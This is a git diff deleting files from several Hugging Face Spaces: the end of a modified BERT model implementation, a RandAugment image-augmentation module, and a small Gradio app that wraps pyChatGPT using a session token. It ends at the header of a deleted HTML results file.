-        if attention_mask is None:
-            attention_mask = input_ids.new_ones(input_shape)
-
-        # cut decoder_input_ids if past is used
-        if past is not None:
-            input_ids = input_ids[:, -1:]
-
-        return {
-            "input_ids": input_ids, 
-            "attention_mask": attention_mask, 
-            "past_key_values": past,
-            "encoder_hidden_states": model_kwargs.get("encoder_hidden_states", None),
-            "encoder_attention_mask": model_kwargs.get("encoder_attention_mask", None),
-            "is_decoder": True,
-        }
-
-    def _reorder_cache(self, past, beam_idx):
-        reordered_past = ()
-        for layer_past in past:
-            reordered_past += (tuple(past_state.index_select(0, beam_idx) for past_state in layer_past),)
-        return reordered_past
-
-
-@add_start_docstrings("""Bert Model with a `language modeling` head on top. """, BERT_START_DOCSTRING)
-class BertForMaskedLM(BertPreTrainedModel):
-
-    _keys_to_ignore_on_load_unexpected = [r"pooler"]
-    _keys_to_ignore_on_load_missing = [r"position_ids", r"predictions.decoder.bias"]
-
-    def __init__(self, config):
-        super().__init__(config)
-
-        self.bert = BertModel(config, add_pooling_layer=False)
-        self.cls = BertOnlyMLMHead(config)
-
-        self.init_weights()
-
-    def get_output_embeddings(self):
-        return self.cls.predictions.decoder
-
-    def set_output_embeddings(self, new_embeddings):
-        self.cls.predictions.decoder = new_embeddings
-
-    @add_start_docstrings_to_model_forward(BERT_INPUTS_DOCSTRING.format("batch_size, sequence_length"))
-    @add_code_sample_docstrings(
-        tokenizer_class=_TOKENIZER_FOR_DOC,
-        checkpoint="bert-base-uncased",
-        output_type=MaskedLMOutput,
-        config_class=_CONFIG_FOR_DOC,
-    )
-    def forward(
-        self,
-        input_ids=None,
-        attention_mask=None,
-        token_type_ids=None,
-        position_ids=None,
-        head_mask=None,
-        inputs_embeds=None,
-        encoder_embeds=None,
-        encoder_hidden_states=None,
-        encoder_attention_mask=None,
-        labels=None,
-        output_attentions=None,
-        output_hidden_states=None,
-        return_dict=None,
-        is_decoder=False,
-        mode='multi_modal',
-        soft_labels=None,
-        alpha=0,
-        return_logits=False,
-    ):
-        r"""
-        labels (:obj:`torch.LongTensor` of shape :obj:`(batch_size, sequence_length)`, `optional`):
-            Labels for computing the masked language modeling loss. Indices should be in ``[-100, 0, ...,
-            config.vocab_size]`` (see ``input_ids`` docstring) Tokens with indices set to ``-100`` are ignored
-            (masked), the loss is only computed for the tokens with labels in ``[0, ..., config.vocab_size]``
-        """
-
-        return_dict = return_dict if return_dict is not None else self.config.use_return_dict
-
-        outputs = self.bert(
-            input_ids,
-            attention_mask=attention_mask,
-            token_type_ids=token_type_ids,
-            position_ids=position_ids,
-            head_mask=head_mask,
-            inputs_embeds=inputs_embeds,
-            encoder_embeds=encoder_embeds,
-            encoder_hidden_states=encoder_hidden_states,
-            encoder_attention_mask=encoder_attention_mask,
-            output_attentions=output_attentions,
-            output_hidden_states=output_hidden_states,
-            return_dict=return_dict,
-            is_decoder=is_decoder,
-            mode=mode,
-        )
-
-        sequence_output = outputs[0]
-        prediction_scores = self.cls(sequence_output)
-        
-        if return_logits:
-            return prediction_scores
-
-        masked_lm_loss = None
-        if labels is not None:
-            loss_fct = CrossEntropyLoss()  # -100 index = padding token
-            masked_lm_loss = loss_fct(prediction_scores.view(-1, self.config.vocab_size), labels.view(-1))
-        
-        if soft_labels is not None:
-            loss_distill = -torch.sum(F.log_softmax(prediction_scores, dim=-1)*soft_labels,dim=-1)
-            loss_distill = loss_distill[labels!=-100].mean()
-            masked_lm_loss = (1-alpha)*masked_lm_loss + alpha*loss_distill
-
-        if not return_dict:
-            output = (prediction_scores,) + outputs[2:]
-            return ((masked_lm_loss,) + output) if masked_lm_loss is not None else output
-
-        return MaskedLMOutput(
-            loss=masked_lm_loss,
-            logits=prediction_scores,
-            hidden_states=outputs.hidden_states,
-            attentions=outputs.attentions,
-        )
-
-    def prepare_inputs_for_generation(self, input_ids, attention_mask=None, **model_kwargs):
-        input_shape = input_ids.shape
-        effective_batch_size = input_shape[0]
-
-        #  add a dummy token
-        assert self.config.pad_token_id is not None, "The PAD token should be defined for generation"
-        attention_mask = torch.cat([attention_mask, attention_mask.new_zeros((attention_mask.shape[0], 1))], dim=-1)
-        dummy_token = torch.full(
-            (effective_batch_size, 1), self.config.pad_token_id, dtype=torch.long, device=input_ids.device
-        )
-        input_ids = torch.cat([input_ids, dummy_token], dim=1)
-
-        return {"input_ids": input_ids, "attention_mask": attention_mask}
-
-
-@add_start_docstrings(
-    """Bert Model with a `next sentence prediction (classification)` head on top. """,
-    BERT_START_DOCSTRING,
-)
-class BertForNextSentencePrediction(BertPreTrainedModel):
-    def __init__(self, config):
-        super().__init__(config)
-
-        self.bert = BertModel(config)
-        self.cls = BertOnlyNSPHead(config)
-
-        self.init_weights()
-
-    @add_start_docstrings_to_model_forward(BERT_INPUTS_DOCSTRING.format("batch_size, sequence_length"))
-    @replace_return_docstrings(output_type=NextSentencePredictorOutput, config_class=_CONFIG_FOR_DOC)
-    def forward(
-        self,
-        input_ids=None,
-        attention_mask=None,
-        token_type_ids=None,
-        position_ids=None,
-        head_mask=None,
-        inputs_embeds=None,
-        labels=None,
-        output_attentions=None,
-        output_hidden_states=None,
-        return_dict=None,
-        **kwargs
-    ):
-        r"""
-        labels (:obj:`torch.LongTensor` of shape :obj:`(batch_size,)`, `optional`):
-            Labels for computing the next sequence prediction (classification) loss. Input should be a sequence pair
-            (see ``input_ids`` docstring). Indices should be in ``[0, 1]``:
-            - 0 indicates sequence B is a continuation of sequence A,
-            - 1 indicates sequence B is a random sequence.
-        Returns:
-        Example::
-            >>> from transformers import BertTokenizer, BertForNextSentencePrediction
-            >>> import torch
-            >>> tokenizer = BertTokenizer.from_pretrained('bert-base-uncased')
-            >>> model = BertForNextSentencePrediction.from_pretrained('bert-base-uncased')
-            >>> prompt = "In Italy, pizza served in formal settings, such as at a restaurant, is presented unsliced."
-            >>> next_sentence = "The sky is blue due to the shorter wavelength of blue light."
-            >>> encoding = tokenizer(prompt, next_sentence, return_tensors='pt')
-            >>> outputs = model(**encoding, labels=torch.LongTensor([1]))
-            >>> logits = outputs.logits
-            >>> assert logits[0, 0] < logits[0, 1] # next sentence was random
-        """
-
-        if "next_sentence_label" in kwargs:
-            warnings.warn(
-                "The `next_sentence_label` argument is deprecated and will be removed in a future version, use `labels` instead.",
-                FutureWarning,
-            )
-            labels = kwargs.pop("next_sentence_label")
-
-        return_dict = return_dict if return_dict is not None else self.config.use_return_dict
-
-        outputs = self.bert(
-            input_ids,
-            attention_mask=attention_mask,
-            token_type_ids=token_type_ids,
-            position_ids=position_ids,
-            head_mask=head_mask,
-            inputs_embeds=inputs_embeds,
-            output_attentions=output_attentions,
-            output_hidden_states=output_hidden_states,
-            return_dict=return_dict,
-        )
-
-        pooled_output = outputs[1]
-
-        seq_relationship_scores = self.cls(pooled_output)
-
-        next_sentence_loss = None
-        if labels is not None:
-            loss_fct = CrossEntropyLoss()
-            next_sentence_loss = loss_fct(seq_relationship_scores.view(-1, 2), labels.view(-1))
-
-        if not return_dict:
-            output = (seq_relationship_scores,) + outputs[2:]
-            return ((next_sentence_loss,) + output) if next_sentence_loss is not None else output
-
-        return NextSentencePredictorOutput(
-            loss=next_sentence_loss,
-            logits=seq_relationship_scores,
-            hidden_states=outputs.hidden_states,
-            attentions=outputs.attentions,
-        )
-
-
-@add_start_docstrings(
-    """
-    Bert Model transformer with a sequence classification/regression head on top (a linear layer on top of the pooled
-    output) e.g. for GLUE tasks.
-    """,
-    BERT_START_DOCSTRING,
-)
-class BertForSequenceClassification(BertPreTrainedModel):
-    def __init__(self, config):
-        super().__init__(config)
-        self.num_labels = config.num_labels
-
-        self.bert = BertModel(config)
-        self.dropout = nn.Dropout(config.hidden_dropout_prob)
-        self.classifier = nn.Linear(config.hidden_size, config.num_labels)
-
-        self.init_weights()
-
-    @add_start_docstrings_to_model_forward(BERT_INPUTS_DOCSTRING.format("batch_size, sequence_length"))
-    @add_code_sample_docstrings(
-        tokenizer_class=_TOKENIZER_FOR_DOC,
-        checkpoint="bert-base-uncased",
-        output_type=SequenceClassifierOutput,
-        config_class=_CONFIG_FOR_DOC,
-    )
-    def forward(
-        self,
-        input_ids=None,
-        attention_mask=None,
-        token_type_ids=None,
-        position_ids=None,
-        head_mask=None,
-        inputs_embeds=None,
-        labels=None,
-        output_attentions=None,
-        output_hidden_states=None,
-        return_dict=None,
-    ):
-        r"""
-        labels (:obj:`torch.LongTensor` of shape :obj:`(batch_size,)`, `optional`):
-            Labels for computing the sequence classification/regression loss. Indices should be in :obj:`[0, ...,
-            config.num_labels - 1]`. If :obj:`config.num_labels == 1` a regression loss is computed (Mean-Square loss),
-            If :obj:`config.num_labels > 1` a classification loss is computed (Cross-Entropy).
-        """
-        return_dict = return_dict if return_dict is not None else self.config.use_return_dict
-
-        outputs = self.bert(
-            input_ids,
-            attention_mask=attention_mask,
-            token_type_ids=token_type_ids,
-            position_ids=position_ids,
-            head_mask=head_mask,
-            inputs_embeds=inputs_embeds,
-            output_attentions=output_attentions,
-            output_hidden_states=output_hidden_states,
-            return_dict=return_dict,
-        )
-
-        pooled_output = outputs[1]
-
-        pooled_output = self.dropout(pooled_output)
-        logits = self.classifier(pooled_output)
-
-        loss = None
-        if labels is not None:
-            if self.num_labels == 1:
-                #  We are doing regression
-                loss_fct = MSELoss()
-                loss = loss_fct(logits.view(-1), labels.view(-1))
-            else:
-                loss_fct = CrossEntropyLoss()
-                loss = loss_fct(logits.view(-1, self.num_labels), labels.view(-1))
-
-        if not return_dict:
-            output = (logits,) + outputs[2:]
-            return ((loss,) + output) if loss is not None else output
-
-        return SequenceClassifierOutput(
-            loss=loss,
-            logits=logits,
-            hidden_states=outputs.hidden_states,
-            attentions=outputs.attentions,
-        )
-
-
-@add_start_docstrings(
-    """
-    Bert Model with a multiple choice classification head on top (a linear layer on top of the pooled output and a
-    softmax) e.g. for RocStories/SWAG tasks.
-    """,
-    BERT_START_DOCSTRING,
-)
-class BertForMultipleChoice(BertPreTrainedModel):
-    def __init__(self, config):
-        super().__init__(config)
-
-        self.bert = BertModel(config)
-        self.dropout = nn.Dropout(config.hidden_dropout_prob)
-        self.classifier = nn.Linear(config.hidden_size, 1)
-
-        self.init_weights()
-
-    @add_start_docstrings_to_model_forward(BERT_INPUTS_DOCSTRING.format("batch_size, num_choices, sequence_length"))
-    @add_code_sample_docstrings(
-        tokenizer_class=_TOKENIZER_FOR_DOC,
-        checkpoint="bert-base-uncased",
-        output_type=MultipleChoiceModelOutput,
-        config_class=_CONFIG_FOR_DOC,
-    )
-    def forward(
-        self,
-        input_ids=None,
-        attention_mask=None,
-        token_type_ids=None,
-        position_ids=None,
-        head_mask=None,
-        inputs_embeds=None,
-        labels=None,
-        output_attentions=None,
-        output_hidden_states=None,
-        return_dict=None,
-    ):
-        r"""
-        labels (:obj:`torch.LongTensor` of shape :obj:`(batch_size,)`, `optional`):
-            Labels for computing the multiple choice classification loss. Indices should be in ``[0, ...,
-            num_choices-1]`` where :obj:`num_choices` is the size of the second dimension of the input tensors. (See
-            :obj:`input_ids` above)
-        """
-        return_dict = return_dict if return_dict is not None else self.config.use_return_dict
-        num_choices = input_ids.shape[1] if input_ids is not None else inputs_embeds.shape[1]
-
-        input_ids = input_ids.view(-1, input_ids.size(-1)) if input_ids is not None else None
-        attention_mask = attention_mask.view(-1, attention_mask.size(-1)) if attention_mask is not None else None
-        token_type_ids = token_type_ids.view(-1, token_type_ids.size(-1)) if token_type_ids is not None else None
-        position_ids = position_ids.view(-1, position_ids.size(-1)) if position_ids is not None else None
-        inputs_embeds = (
-            inputs_embeds.view(-1, inputs_embeds.size(-2), inputs_embeds.size(-1))
-            if inputs_embeds is not None
-            else None
-        )
-
-        outputs = self.bert(
-            input_ids,
-            attention_mask=attention_mask,
-            token_type_ids=token_type_ids,
-            position_ids=position_ids,
-            head_mask=head_mask,
-            inputs_embeds=inputs_embeds,
-            output_attentions=output_attentions,
-            output_hidden_states=output_hidden_states,
-            return_dict=return_dict,
-        )
-
-        pooled_output = outputs[1]
-
-        pooled_output = self.dropout(pooled_output)
-        logits = self.classifier(pooled_output)
-        reshaped_logits = logits.view(-1, num_choices)
-
-        loss = None
-        if labels is not None:
-            loss_fct = CrossEntropyLoss()
-            loss = loss_fct(reshaped_logits, labels)
-
-        if not return_dict:
-            output = (reshaped_logits,) + outputs[2:]
-            return ((loss,) + output) if loss is not None else output
-
-        return MultipleChoiceModelOutput(
-            loss=loss,
-            logits=reshaped_logits,
-            hidden_states=outputs.hidden_states,
-            attentions=outputs.attentions,
-        )
-
-
-@add_start_docstrings(
-    """
-    Bert Model with a token classification head on top (a linear layer on top of the hidden-states output) e.g. for
-    Named-Entity-Recognition (NER) tasks.
-    """,
-    BERT_START_DOCSTRING,
-)
-class BertForTokenClassification(BertPreTrainedModel):
-
-    _keys_to_ignore_on_load_unexpected = [r"pooler"]
-
-    def __init__(self, config):
-        super().__init__(config)
-        self.num_labels = config.num_labels
-
-        self.bert = BertModel(config, add_pooling_layer=False)
-        self.dropout = nn.Dropout(config.hidden_dropout_prob)
-        self.classifier = nn.Linear(config.hidden_size, config.num_labels)
-
-        self.init_weights()
-
-    @add_start_docstrings_to_model_forward(BERT_INPUTS_DOCSTRING.format("batch_size, sequence_length"))
-    @add_code_sample_docstrings(
-        tokenizer_class=_TOKENIZER_FOR_DOC,
-        checkpoint="bert-base-uncased",
-        output_type=TokenClassifierOutput,
-        config_class=_CONFIG_FOR_DOC,
-    )
-    def forward(
-        self,
-        input_ids=None,
-        attention_mask=None,
-        token_type_ids=None,
-        position_ids=None,
-        head_mask=None,
-        inputs_embeds=None,
-        labels=None,
-        output_attentions=None,
-        output_hidden_states=None,
-        return_dict=None,
-    ):
-        r"""
-        labels (:obj:`torch.LongTensor` of shape :obj:`(batch_size, sequence_length)`, `optional`):
-            Labels for computing the token classification loss. Indices should be in ``[0, ..., config.num_labels -
-            1]``.
-        """
-        return_dict = return_dict if return_dict is not None else self.config.use_return_dict
-
-        outputs = self.bert(
-            input_ids,
-            attention_mask=attention_mask,
-            token_type_ids=token_type_ids,
-            position_ids=position_ids,
-            head_mask=head_mask,
-            inputs_embeds=inputs_embeds,
-            output_attentions=output_attentions,
-            output_hidden_states=output_hidden_states,
-            return_dict=return_dict,
-        )
-
-        sequence_output = outputs[0]
-
-        sequence_output = self.dropout(sequence_output)
-        logits = self.classifier(sequence_output)
-
-        loss = None
-        if labels is not None:
-            loss_fct = CrossEntropyLoss()
-            # Only keep active parts of the loss
-            if attention_mask is not None:
-                active_loss = attention_mask.view(-1) == 1
-                active_logits = logits.view(-1, self.num_labels)
-                active_labels = torch.where(
-                    active_loss, labels.view(-1), torch.tensor(loss_fct.ignore_index).type_as(labels)
-                )
-                loss = loss_fct(active_logits, active_labels)
-            else:
-                loss = loss_fct(logits.view(-1, self.num_labels), labels.view(-1))
-
-        if not return_dict:
-            output = (logits,) + outputs[2:]
-            return ((loss,) + output) if loss is not None else output
-
-        return TokenClassifierOutput(
-            loss=loss,
-            logits=logits,
-            hidden_states=outputs.hidden_states,
-            attentions=outputs.attentions,
-        )
-
-
-@add_start_docstrings(
-    """
-    Bert Model with a span classification head on top for extractive question-answering tasks like SQuAD (a linear
-    layers on top of the hidden-states output to compute `span start logits` and `span end logits`).
-    """,
-    BERT_START_DOCSTRING,
-)
-class BertForQuestionAnswering(BertPreTrainedModel):
-
-    _keys_to_ignore_on_load_unexpected = [r"pooler"]
-
-    def __init__(self, config):
-        super().__init__(config)
-        self.num_labels = config.num_labels
-
-        self.bert = BertModel(config, add_pooling_layer=False)
-        self.qa_outputs = nn.Linear(config.hidden_size, config.num_labels)
-
-        self.init_weights()
-
-    @add_start_docstrings_to_model_forward(BERT_INPUTS_DOCSTRING.format("batch_size, sequence_length"))
-    @add_code_sample_docstrings(
-        tokenizer_class=_TOKENIZER_FOR_DOC,
-        checkpoint="bert-base-uncased",
-        output_type=QuestionAnsweringModelOutput,
-        config_class=_CONFIG_FOR_DOC,
-    )
-    def forward(
-        self,
-        input_ids=None,
-        attention_mask=None,
-        token_type_ids=None,
-        position_ids=None,
-        head_mask=None,
-        inputs_embeds=None,
-        start_positions=None,
-        end_positions=None,
-        output_attentions=None,
-        output_hidden_states=None,
-        return_dict=None,
-    ):
-        r"""
-        start_positions (:obj:`torch.LongTensor` of shape :obj:`(batch_size,)`, `optional`):
-            Labels for position (index) of the start of the labelled span for computing the token classification loss.
-            Positions are clamped to the length of the sequence (:obj:`sequence_length`). Position outside of the
-            sequence are not taken into account for computing the loss.
-        end_positions (:obj:`torch.LongTensor` of shape :obj:`(batch_size,)`, `optional`):
-            Labels for position (index) of the end of the labelled span for computing the token classification loss.
-            Positions are clamped to the length of the sequence (:obj:`sequence_length`). Position outside of the
-            sequence are not taken into account for computing the loss.
-        """
-        return_dict = return_dict if return_dict is not None else self.config.use_return_dict
-
-        outputs = self.bert(
-            input_ids,
-            attention_mask=attention_mask,
-            token_type_ids=token_type_ids,
-            position_ids=position_ids,
-            head_mask=head_mask,
-            inputs_embeds=inputs_embeds,
-            output_attentions=output_attentions,
-            output_hidden_states=output_hidden_states,
-            return_dict=return_dict,
-        )
-
-        sequence_output = outputs[0]
-
-        logits = self.qa_outputs(sequence_output)
-        start_logits, end_logits = logits.split(1, dim=-1)
-        start_logits = start_logits.squeeze(-1)
-        end_logits = end_logits.squeeze(-1)
-
-        total_loss = None
-        if start_positions is not None and end_positions is not None:
-            # If we are on multi-GPU, split add a dimension
-            if len(start_positions.size()) > 1:
-                start_positions = start_positions.squeeze(-1)
-            if len(end_positions.size()) > 1:
-                end_positions = end_positions.squeeze(-1)
-            # sometimes the start/end positions are outside our model inputs, we ignore these terms
-            ignored_index = start_logits.size(1)
-            start_positions.clamp_(0, ignored_index)
-            end_positions.clamp_(0, ignored_index)
-
-            loss_fct = CrossEntropyLoss(ignore_index=ignored_index)
-            start_loss = loss_fct(start_logits, start_positions)
-            end_loss = loss_fct(end_logits, end_positions)
-            total_loss = (start_loss + end_loss) / 2
-
-        if not return_dict:
-            output = (start_logits, end_logits) + outputs[2:]
-            return ((total_loss,) + output) if total_loss is not None else output
-
-        return QuestionAnsweringModelOutput(
-            loss=total_loss,
-            start_logits=start_logits,
-            end_logits=end_logits,
-            hidden_states=outputs.hidden_states,
-            attentions=outputs.attentions,
-        )
diff --git a/spaces/omlab/vlchecklist_demo/models/vilt/transforms/randaug.py b/spaces/omlab/vlchecklist_demo/models/vilt/transforms/randaug.py
deleted file mode 100644
index 281d1c276e62def45fa3d3e52b9e36d0c2bf1625..0000000000000000000000000000000000000000
--- a/spaces/omlab/vlchecklist_demo/models/vilt/transforms/randaug.py
+++ /dev/null
@@ -1,269 +0,0 @@
-# code in this file is adpated from rpmcruz/autoaugment
-# https://github.com/rpmcruz/autoaugment/blob/master/transformations.py
-import random
-
-import PIL, PIL.ImageOps, PIL.ImageEnhance, PIL.ImageDraw
-import numpy as np
-import torch
-from PIL import Image
-
-
-def ShearX(img, v):  # [-0.3, 0.3]
-    assert -0.3 <= v <= 0.3
-    if random.random() > 0.5:
-        v = -v
-    return img.transform(img.size, PIL.Image.AFFINE, (1, v, 0, 0, 1, 0))
-
-
-def ShearY(img, v):  # [-0.3, 0.3]
-    assert -0.3 <= v <= 0.3
-    if random.random() > 0.5:
-        v = -v
-    return img.transform(img.size, PIL.Image.AFFINE, (1, 0, 0, v, 1, 0))
-
-
-def TranslateX(img, v):  # [-150, 150] => percentage: [-0.45, 0.45]
-    assert -0.45 <= v <= 0.45
-    if random.random() > 0.5:
-        v = -v
-    v = v * img.size[0]
-    return img.transform(img.size, PIL.Image.AFFINE, (1, 0, v, 0, 1, 0))
-
-
-def TranslateXabs(img, v):  # [-150, 150] => percentage: [-0.45, 0.45]
-    assert 0 <= v
-    if random.random() > 0.5:
-        v = -v
-    return img.transform(img.size, PIL.Image.AFFINE, (1, 0, v, 0, 1, 0))
-
-
-def TranslateY(img, v):  # [-150, 150] => percentage: [-0.45, 0.45]
-    assert -0.45 <= v <= 0.45
-    if random.random() > 0.5:
-        v = -v
-    v = v * img.size[1]
-    return img.transform(img.size, PIL.Image.AFFINE, (1, 0, 0, 0, 1, v))
-
-
-def TranslateYabs(img, v):  # [-150, 150] => percentage: [-0.45, 0.45]
-    assert 0 <= v
-    if random.random() > 0.5:
-        v = -v
-    return img.transform(img.size, PIL.Image.AFFINE, (1, 0, 0, 0, 1, v))
-
-
-def Rotate(img, v):  # [-30, 30]
-    assert -30 <= v <= 30
-    if random.random() > 0.5:
-        v = -v
-    return img.rotate(v)
-
-
-def AutoContrast(img, _):
-    return PIL.ImageOps.autocontrast(img)
-
-
-def Invert(img, _):
-    return PIL.ImageOps.invert(img)
-
-
-def Equalize(img, _):
-    return PIL.ImageOps.equalize(img)
-
-
-def Flip(img, _):  # not from the paper
-    return PIL.ImageOps.mirror(img)
-
-
-def Solarize(img, v):  # [0, 256]
-    assert 0 <= v <= 256
-    return PIL.ImageOps.solarize(img, v)
-
-
-def SolarizeAdd(img, addition=0, threshold=128):
-    img_np = np.array(img).astype(np.int)
-    img_np = img_np + addition
-    img_np = np.clip(img_np, 0, 255)
-    img_np = img_np.astype(np.uint8)
-    img = Image.fromarray(img_np)
-    return PIL.ImageOps.solarize(img, threshold)
-
-
-def Posterize(img, v):  # [4, 8]
-    v = int(v)
-    v = max(1, v)
-    return PIL.ImageOps.posterize(img, v)
-
-
-def Contrast(img, v):  # [0.1,1.9]
-    assert 0.1 <= v <= 1.9
-    return PIL.ImageEnhance.Contrast(img).enhance(v)
-
-
-def Color(img, v):  # [0.1,1.9]
-    assert 0.1 <= v <= 1.9
-    return PIL.ImageEnhance.Color(img).enhance(v)
-
-
-def Brightness(img, v):  # [0.1,1.9]
-    assert 0.1 <= v <= 1.9
-    return PIL.ImageEnhance.Brightness(img).enhance(v)
-
-
-def Sharpness(img, v):  # [0.1,1.9]
-    assert 0.1 <= v <= 1.9
-    return PIL.ImageEnhance.Sharpness(img).enhance(v)
-
-
-def Cutout(img, v):  # [0, 60] => percentage: [0, 0.2]
-    assert 0.0 <= v <= 0.2
-    if v <= 0.0:
-        return img
-
-    v = v * img.size[0]
-    return CutoutAbs(img, v)
-
-
-def CutoutAbs(img, v):  # [0, 60] => percentage: [0, 0.2]
-    # assert 0 <= v <= 20
-    if v < 0:
-        return img
-    w, h = img.size
-    x0 = np.random.uniform(w)
-    y0 = np.random.uniform(h)
-
-    x0 = int(max(0, x0 - v / 2.0))
-    y0 = int(max(0, y0 - v / 2.0))
-    x1 = min(w, x0 + v)
-    y1 = min(h, y0 + v)
-
-    xy = (x0, y0, x1, y1)
-    color = (125, 123, 114)
-    # color = (0, 0, 0)
-    img = img.copy()
-    PIL.ImageDraw.Draw(img).rectangle(xy, color)
-    return img
-
-
-def SamplePairing(imgs):  # [0, 0.4]
-    def f(img1, v):
-        i = np.random.choice(len(imgs))
-        img2 = PIL.Image.fromarray(imgs[i])
-        return PIL.Image.blend(img1, img2, v)
-
-    return f
-
-
-def Identity(img, v):
-    return img
-
-
-def augment_list():  # 16 oeprations and their ranges
-    # https://github.com/google-research/uda/blob/master/image/randaugment/policies.py#L57
-    # l = [
-    #     (Identity, 0., 1.0),
-    #     (ShearX, 0., 0.3),  # 0
-    #     (ShearY, 0., 0.3),  # 1
-    #     (TranslateX, 0., 0.33),  # 2
-    #     (TranslateY, 0., 0.33),  # 3
-    #     (Rotate, 0, 30),  # 4
-    #     (AutoContrast, 0, 1),  # 5
-    #     (Invert, 0, 1),  # 6
-    #     (Equalize, 0, 1),  # 7
-    #     (Solarize, 0, 110),  # 8
-    #     (Posterize, 4, 8),  # 9
-    #     # (Contrast, 0.1, 1.9),  # 10
-    #     (Color, 0.1, 1.9),  # 11
-    #     (Brightness, 0.1, 1.9),  # 12
-    #     (Sharpness, 0.1, 1.9),  # 13
-    #     # (Cutout, 0, 0.2),  # 14
-    #     # (SamplePairing(imgs), 0, 0.4),  # 15
-    # ]
-
-    # https://github.com/tensorflow/tpu/blob/8462d083dd89489a79e3200bcc8d4063bf362186/models/official/efficientnet/autoaugment.py#L505
-    l = [
-        (AutoContrast, 0, 1),
-        (Equalize, 0, 1),
-        # (Invert, 0, 1),
-        (Rotate, 0, 30),
-        (Posterize, 0, 4),
-        (Solarize, 0, 256),
-        (SolarizeAdd, 0, 110),
-        (Color, 0.1, 1.9),
-        (Contrast, 0.1, 1.9),
-        (Brightness, 0.1, 1.9),
-        (Sharpness, 0.1, 1.9),
-        (ShearX, 0.0, 0.3),
-        (ShearY, 0.0, 0.3),
-        # (CutoutAbs, 0, 40),
-        (TranslateXabs, 0.0, 100),
-        (TranslateYabs, 0.0, 100),
-    ]
-
-    return l
-
-
-class Lighting(object):
-    """Lighting noise(AlexNet - style PCA - based noise)"""
-
-    def __init__(self, alphastd, eigval, eigvec):
-        self.alphastd = alphastd
-        self.eigval = torch.Tensor(eigval)
-        self.eigvec = torch.Tensor(eigvec)
-
-    def __call__(self, img):
-        if self.alphastd == 0:
-            return img
-
-        alpha = img.new().resize_(3).normal_(0, self.alphastd)
-        rgb = (
-            self.eigvec.type_as(img)
-            .clone()
-            .mul(alpha.view(1, 3).expand(3, 3))
-            .mul(self.eigval.view(1, 3).expand(3, 3))
-            .sum(1)
-            .squeeze()
-        )
-
-        return img.add(rgb.view(3, 1, 1).expand_as(img))
-
-
-class CutoutDefault(object):
-    """
-    Reference : https://github.com/quark0/darts/blob/master/cnn/utils.py
-    """
-
-    def __init__(self, length):
-        self.length = length
-
-    def __call__(self, img):
-        h, w = img.size(1), img.size(2)
-        mask = np.ones((h, w), np.float32)
-        y = np.random.randint(h)
-        x = np.random.randint(w)
-
-        y1 = np.clip(y - self.length // 2, 0, h)
-        y2 = np.clip(y + self.length // 2, 0, h)
-        x1 = np.clip(x - self.length // 2, 0, w)
-        x2 = np.clip(x + self.length // 2, 0, w)
-
-        mask[y1:y2, x1:x2] = 0.0
-        mask = torch.from_numpy(mask)
-        mask = mask.expand_as(img)
-        img *= mask
-        return img
-
-
-class RandAugment:
-    def __init__(self, n, m):
-        self.n = n
-        self.m = m  # [0, 30]
-        self.augment_list = augment_list()
-
-    def __call__(self, img):
-        ops = random.choices(self.augment_list, k=self.n)
-        for op, minval, maxval in ops:
-            val = (float(self.m) / 30) * float(maxval - minval) + minval
-            img = op(img, val)
-
-        return img
diff --git a/spaces/osanseviero/ChatGPT_MANY_LANGS/app.py b/spaces/osanseviero/ChatGPT_MANY_LANGS/app.py
deleted file mode 100644
index 6845b97e971554bb03792e828e929a8cfce70373..0000000000000000000000000000000000000000
--- a/spaces/osanseviero/ChatGPT_MANY_LANGS/app.py
+++ /dev/null
@@ -1,50 +0,0 @@
-# !pip install 
-
-
-from pyChatGPT import ChatGPT
-import os
-
-# refresh the authorization token
-
-
-def chat_hf(text,session_tokenz):
- 
-
-    try:
-   
-      session_token = os.environ['123_keyz']
-      api = ChatGPT(session_token) 
-      resp = api.send_message(text)
-    
-
-      api.refresh_auth()  # refresh the authorization token
-      api.reset_conversation()  # reset the conversation
-      xyz = resp['message']
-    except:
- 
-
-        api = ChatGPT(session_tokenz)
-        resp = api.send_message(text)
-      
-
-        api.refresh_auth()  # refresh the authorization token
-        api.reset_conversation()  # reset the conversation
-        xyz = resp['message']
-
-    return xyz
-
-
-
-
-#@title GRadio for SDK api
- 
-import gradio as gr
-gr.Interface(
-             chat_hf,
-              [gr.Textbox(label = ' Input custom  text for ChatGPT! '),
-               gr.Textbox(label = ' If it fails enter custom session key ')], 
-                        outputs = gr.outputs.Textbox(type="text",label="chatGPT response")
-                        , title = "" +' ChatGpt 🤖💬💻 on 🤗 huggingface. '+ "",
-                                    description="""ChatGPT 🤖💬💻 is a conversational AI app that allows users to engage in natural language conversations with a virtual assistant. The app uses advanced machine learning algorithms to understand and respond to user queries in a human-like manner. With its ability to answer follow-up questions, admit mistakes, and reject inappropriate requests, ChatGPT offers a highly interactive and engaging experience. Try ChatGPT now and experience the power of language modeling in dialogue built with ❤️   @[Xhaheen](https://www.linkedin.com/in/sallu-mandya/)  \n\nIf it fails enter cusom session key see video for reference refer @[Bhavesh bhat video](https://youtu.be/TdNSj_qgdFk)
-                                            <p>You can duplicating this space and use your own session token: <a style='display:inline-block' href='https://huggingface.co/spaces/Xhaheen/ChatGPT_HF?duplicate=true'><img src='https://img.shields.io/badge/-Duplicate%20Space-blue?labelColor=white&style=flat&logo=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAP5JREFUOE+lk7FqAkEURY+ltunEgFXS2sZGIbXfEPdLlnxJyDdYB62sbbUKpLbVNhyYFzbrrA74YJlh9r079973psed0cvUD4A+4HoCjsA85X0Dfn/RBLBgBDxnQPfAEJgBY+A9gALA4tcbamSzS4xq4FOQAJgCDwV2CPKV8tZAJcAjMMkUe1vX+U+SMhfAJEHasQIWmXNN3abzDwHUrgcRGmYcgKe0bxrblHEB4E/pndMazNpSZGcsZdBlYJcEL9Afo75molJyM2FxmPgmgPqlWNLGfwZGG6UiyEvLzHYDmoPkDDiNm9JR9uboiONcBXrpY1qmgs21x1QwyZcpvxt9NS09PlsPAAAAAElFTkSuQmCC&logoWidth=14' alt='Duplicate Space'></a></p>
-""").launch(debug = True)
\ No newline at end of file
diff --git "a/spaces/oskarvanderwal/MT-bias-demo/results/simple_n\305\221v\303\251r_en_aggregate.html" "b/spaces/oskarvanderwal/MT-bias-demo/results/simple_n\305\221v\303\251r_en_aggregate.html"
deleted file mode 100644
index dc67c4e238f29c21b1126d6766d4f2dff0ae64f8..0000000000000000000000000000000000000000
--- "a/spaces/oskarvanderwal/MT-bias-demo/results/simple_n\305\221v\303\251r_en_aggregate.html"
